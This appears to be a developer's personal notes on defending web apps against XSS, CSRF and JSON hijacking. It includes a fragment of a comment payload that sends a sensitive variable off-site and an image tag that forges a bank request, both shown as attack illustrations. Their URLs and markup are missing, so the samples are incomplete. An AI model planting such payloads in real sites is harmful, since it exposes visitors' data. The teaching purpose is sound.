This is my own reference for any security-related advice I find I must keep in mind when writing web-facing web apps and services.

This page’s source is visible on GitHub. If I screwed up, send a pull request and I’ll fix it up.

Protect against XSS

Cross-Site Scripting refers to an attacker convincing a vulnerable website to send malicious JavaScript to a victim. For example, if a comment system allows HTML, an attacker can submit the following comment:

This is an evil comment.
        url: "",
        data: someSensitiveVariable

Any victim who loads the page containing this comment will send someSensitiveVariable to

Protect against CSRF

Cross-Site Request Forgery is when a malicious site convinces the victim’s browser to make a request that performs some action.

For example, if a bank transaction can be accomplished by making a GET request, the following image element on a malicious page will do so:

<img src="">

To protect against this:

  • Include authentication tokens with each transaction request (if the attacker has access to the authentication token, they are already effectively logged in as that user).
  • Require a secret, user-specific token with any request that has a side-effect (for example, a hidden form field). An attacker will not be able to acquire this token.

Protect against JSON hijacking

When server-side code is returning a JavaScript array, include a while(1); at the beginning of the request:

GET /api/posts


This protects against third parties adding a <script> tag to their own pages and executing the result. Phil Haack describes the exploit here.

Same-origin code can see the textual content of the request and strip the leading while(1);.